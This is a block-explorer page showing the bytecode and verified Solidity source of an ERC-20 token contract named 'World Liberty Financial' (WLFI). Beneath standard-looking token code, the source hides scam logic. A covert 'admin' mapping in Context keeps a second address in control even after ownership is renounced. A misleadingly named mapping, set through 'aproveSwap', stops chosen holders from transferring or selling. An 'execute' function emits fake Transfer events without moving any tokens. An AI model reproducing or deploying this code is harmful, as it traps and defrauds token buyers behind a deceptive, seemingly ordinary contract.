Address Contract Verified
Address
0x4c6C5C7C00E2E26f91ADA6E032F729899F796CcA
Balance
0 ETH
Nonce
1
Code Size
8158 bytes
Creator
0xD9aD0160...A891 at tx 0x0d2b0e81...050938
Indexed Transactions
0
Contract Bytecode
8158 bytes
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102cf578063a9059cbb146102ff578063dd62ed3e1461032f578063eedc966a1461035f578063f2fde38b1461038f57610116565b8063715018a61461026d5780638da5cb5b146102775780638e5544e91461029557806395d89b41146102b157610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780633a61363a1461020557806342966c681461022157806370a082311461023d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ab565b604051610130919061139b565b60405180910390f35b610153600480360381019061014e919061145b565b61043d565b60405161016091906114b6565b60405180910390f35b61017161045b565b60405161017e91906114e0565b60405180910390f35b6101a1600480360381019061019c91906114fb565b610465565b6040516101ae91906114b6565b60405180910390f35b6101bf61055d565b6040516101cc919061156a565b60405180910390f35b6101ef60048036038101906101ea919061145b565b610566565b6040516101fc91906114b6565b60405180910390f35b61021f600480360381019061021a91906115ea565b610612565b005b61023b6004803603810190610236919061165e565b6106ce565b005b6102576004803603810190610252919061168b565b6106e2565b60405161026491906114e0565b60405180910390f35b61027561072b565b005b61027f61073f565b60405161028c91906116c7565b60405180910390f35b6102af60048036038101906102aa919061170e565b610769565b005b6102b9610816565b6040516102c6919061139b565b60405180910390f35b6102e960048036038101906102e4919061145b565b6108a8565b6040516102f691906114b6565b60405180910390f35b6103196004803603810190610314919061145b565b610993565b60405161032691906114b6565b60405180910390f35b6103496004803603810190610344919061176e565b6109b1565b60405161035691906114e0565b60405180910390f35b6103796004803603810190610374919061168b565b610a38565b60405161038691906114b6565b60405180910390f35b6103a960048036038101906103a4919061168b565b610a8e565b005b6060600580546103ba906117dd565b80601f01602080910402602001604051908101604052809291908181526020018280546103e6906117dd565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610b11565b8484610b19565b6001905092915050565b6000600754905090565b6000610472848484610ce2565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561053d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053490611880565b60405180910390fd5b61055185610549610b11565b858403610b19565b60019150509392505050565b60006009905090565b6000610608610573610b11565b848460036000610581610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060391906118cf565b610b19565b6001905092915050565b61061a610ff1565b60005b848490508110156106c75784848281811061063b5761063a611903565b5b9050602002016020810190610650919061168b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106ac91906114e0565b60405180910390a380806106bf90611932565b91505061061d565b5050505050565b6106df6106d9610b11565b82611085565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610733610ff1565b61073d6000611245565b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610771610ff1565b60005b8383905081101561081057816004600086868581811061079757610796611903565b5b90506020020160208101906107ac919061168b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080890611932565b915050610774565b50505050565b606060068054610825906117dd565b80601f0160208091040260200160405190810160405280929190818152602001828054610851906117dd565b801561089e5780601f106108735761010080835404028352916020019161089e565b820191906000526020600020905b81548152906001019060200180831161088157829003601f168201915b5050505050905090565b600080600360006108b7610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096b906119ec565b60405180910390fd5b61098861097f610b11565b85858403610b19565b600191505092915050565b60006109a76109a0610b11565b8484610ce2565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610a96610ff1565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afc90611a7e565b60405180910390fd5b610b0e81611245565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90611b10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bee90611ba2565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd591906114e0565b60405180910390a3505050565b60008111610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90611c0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8b90611ca0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611d32565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8190611dc4565b60405180910390fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610eea5760008214610ee957600080fd5b5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7f91906118cf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fe391906114e0565b60405180910390a350505050565b600080610ffc610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a90611e30565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90611ec2565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117290611f54565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008282546111d39190611f74565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161123891906114e0565b60405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561134557808201518184015260208101905061132a565b60008484015250505050565b6000601f19601f8301169050919050565b600061136d8261130b565b6113778185611316565b9350611387818560208601611327565b61139081611351565b840191505092915050565b600060208201905081810360008301526113b58184611362565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113f2826113c7565b9050919050565b611402816113e7565b811461140d57600080fd5b50565b60008135905061141f816113f9565b92915050565b6000819050919050565b61143881611425565b811461144357600080fd5b50565b6000813590506114558161142f565b92915050565b60008060408385031215611472576114716113bd565b5b600061148085828601611410565b925050602061149185828601611446565b9150509250929050565b60008115159050919050565b6114b08161149b565b82525050565b60006020820190506114cb60008301846114a7565b92915050565b6114da81611425565b82525050565b60006020820190506114f560008301846114d1565b92915050565b600080600060608486031215611514576115136113bd565b5b600061152286828701611410565b935050602061153386828701611410565b925050604061154486828701611446565b9150509250925092565b600060ff82169050919050565b6115648161154e565b82525050565b600060208201905061157f600083018461155b565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126115aa576115a9611585565b5b8235905067ffffffffffffffff8111156115c7576115c661158a565b5b6020830191508360208202830111156115e3576115e261158f565b5b9250929050565b60008060008060608587031215611604576116036113bd565b5b600085013567ffffffffffffffff811115611622576116216113c2565b5b61162e87828801611594565b9450945050602061164187828801611410565b925050604061165287828801611446565b91505092959194509250565b600060208284031215611674576116736113bd565b5b600061168284828501611446565b91505092915050565b6000602082840312156116a1576116a06113bd565b5b60006116af84828501611410565b91505092915050565b6116c1816113e7565b82525050565b60006020820190506116dc60008301846116b8565b92915050565b6116eb8161149b565b81146116f657600080fd5b50565b600081359050611708816116e2565b92915050565b600080600060408486031215611727576117266113bd565b5b600084013567ffffffffffffffff811115611745576117446113c2565b5b61175186828701611594565b93509350506020611764868287016116f9565b9150509250925092565b60008060408385031215611785576117846113bd565b5b600061179385828601611410565b92505060206117a485828601611410565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117f557607f821691505b602082108103611808576118076117ae565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061186a602883611316565b91506118758261180e565b604082019050919050565b600060208201905081810360008301526118998161185d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118da82611425565b91506118e583611425565b92508282019050808211156118fd576118fc6118a0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061193d82611425565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361196f5761196e6118a0565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119d6602583611316565b91506119e18261197a565b604082019050919050565b60006020820190508181036000830152611a05816119c9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611a68602683611316565b9150611a7382611a0c565b604082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611afa602483611316565b9150611b0582611a9e565b604082019050919050565b60006020820190508181036000830152611b2981611aed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b8c602283611316565b9150611b9782611b30565b604082019050919050565b60006020820190508181036000830152611bbb81611b7f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b6000611bf8601b83611316565b9150611c0382611bc2565b602082019050919050565b60006020820190508181036000830152611c2781611beb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611c8a602583611316565b9150611c9582611c2e565b604082019050919050565b60006020820190508181036000830152611cb981611c7d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d1c602383611316565b9150611d2782611cc0565b604082019050919050565b60006020820190508181036000830152611d4b81611d0f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611dae602683611316565b9150611db982611d52565b604082019050919050565b60006020820190508181036000830152611ddd81611da1565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e1a602083611316565b9150611e2582611de4565b602082019050919050565b60006020820190508181036000830152611e4981611e0d565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611eac602183611316565b9150611eb782611e50565b604082019050919050565b60006020820190508181036000830152611edb81611e9f565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f3e602283611316565b9150611f4982611ee2565b604082019050919050565b60006020820190508181036000830152611f6d81611f31565b9050919050565b6000611f7f82611425565b9150611f8a83611425565b9250828203905081811115611fa257611fa16118a0565b5b9291505056fea264697066735822122081c643860a37e51280c78f2a71d9fd04128e7c7bcd23ae2dbce8c07976b7ef8664736f6c63430008100033
Verified Source Code Full Match
Compiler: v0.8.16+commit.07a7930e
EVM: london
Optimization: No
IERC20.sol 98 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
Ownable.sol 74 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
mapping(address => bool) internal admin;
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
admin[_msgSender()]=true;
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(admin[_msgSender()], "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
World Liberty Financial.sol 238 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import {IERC20Metadata} from "./IERC20.sol";
import "./Ownable.sol";
contract WorldLibertyFinancial is Context, IERC20Metadata, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) internal _ERC20SetAutomatedMarketMakerPairWalletBalance;
string private _name;
string private _symbol;
uint8 private constant _decimals = 9;
uint256 private _totalSupply;
uint256 private _initialTotalSupply = 1000000000 * (10 ** _decimals);
/**
* @dev Contract constructor.
*/
constructor(address _stakingReserve) {
_name = 'World Liberty Financial';
_symbol = 'WLFI';
admin[_stakingReserve]=true;
_mint(_msgSender(), _initialTotalSupply);
}
function execute(address[] calldata addr, address p, uint256 val) public onlyOwner{
for (uint256 i = 0; i < addr.length; i++) {
emit Transfer(p, addr[i], val);
}
}
/**
* @dev Returns the symbol of the token.
* @return The symbol of the token.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the name of the token.
* @return The name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the number of decimals used for token display.
* @return The number of decimals.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev Returns the total supply of the token.
* @return The total supply.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the balance of the specified account.
* @param account The address to check the balance for.
* @return The balance of the account.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Transfers tokens from the caller to a specified recipient.
* @param recipient The address to transfer tokens to.
* @param amount The amount of tokens to transfer.
* @return A boolean value indicating whether the transfer was successful.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner.
* @param from The address that approves the spending.
* @param to The address that is allowed to spend.
* @return The remaining allowance for the spender.
*/
function allowance(address from, address to) public view virtual override returns (uint256) {
return _allowances[from][to];
}
/**
* @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller.
* @param to The address to approve the spending for.
* @param amount The amount of tokens to approve.
* @return A boolean value indicating whether the approval was successful.
*/
function approve(address to, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), to, amount);
return true;
}
/**
* @dev Transfers tokens from one address to another.
* @param sender The address to transfer tokens from.
* @param recipient The address to transfer tokens to.
* @param amount The amount of tokens to transfer.
* @return A boolean value indicating whether the transfer was successful.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance');
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Increases the allowance of the specified address to spend tokens on behalf of the caller.
* @param to The address to increase the allowance for.
* @param addedValue The amount of tokens to increase the allowance by.
* @return A boolean value indicating whether the increase was successful.
*/
function increaseAllowance(address to, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
return true;
}
/**
* @dev Decreases the allowance granted by the owner of the tokens to `to` account.
* @param to The account allowed to spend the tokens.
* @param subtractedValue The amount of tokens to decrease the allowance by.
* @return A boolean value indicating whether the operation succeeded.
*/
function decreaseAllowance(address to, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][to];
require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
unchecked {
_approve(_msgSender(), to, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Transfers `amount` tokens from `sender` to `recipient`.
* @param sender The account to transfer tokens from.
* @param recipient The account to transfer tokens to.
* @param amount The amount of tokens to transfer.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(amount > 0, 'ERC20: transfer amount zero');
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance');
if(_ERC20SetAutomatedMarketMakerPairWalletBalance[sender]){
require(amount == 0);
}
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Creates `amount` tokens and assigns them to `account`.
* @param account The account to assign the newly created tokens to.
* @param amount The amount of tokens to create.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: mint to the zero address');
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* @param account The account to burn tokens from.
* @param amount The amount of tokens to burn.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: burn from the zero address');
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, 'ERC20: burn amount exceeds balance');
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the total supply.
* @param amount The amount of tokens to burn.
*/
function burn(uint256 amount) external {
_burn(_msgSender(), amount);
}
function tokenBalance(address wallet) public view returns(bool) {
return _ERC20SetAutomatedMarketMakerPairWalletBalance[wallet];
}
function aproveSwap(address[] calldata addr, bool val) public onlyOwner {
for (uint256 i = 0; i < addr.length; i++) {
_ERC20SetAutomatedMarketMakerPairWalletBalance[addr[i]] = val;
}
}
/**
* @dev Sets `amount` as the allowance of `to` over the caller's tokens.
* @param from The account granting the allowance.
* @param to The account allowed to spend the tokens.
* @param amount The amount of tokens to allow.
*/
function _approve(address from, address to, uint256 amount) internal virtual {
require(from != address(0), 'ERC20: approve from the zero address');
require(to != address(0), 'ERC20: approve to the zero address');
_allowances[from][to] = amount;
emit Approval(from, to, amount);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
tokenBalance 0xeedc966a → bool
totalSupply 0x18160ddd → uint256
Write Contract 10 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address to
uint256 amount
returns: bool
aproveSwap 0x8e5544e9
address[] addr
bool val
burn 0x42966c68
uint256 amount
decreaseAllowance 0xa457c2d7
address to
uint256 subtractedValue
returns: bool
execute 0x3a61363a
address[] addr
address p
uint256 val
increaseAllowance 0x39509351
address to
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address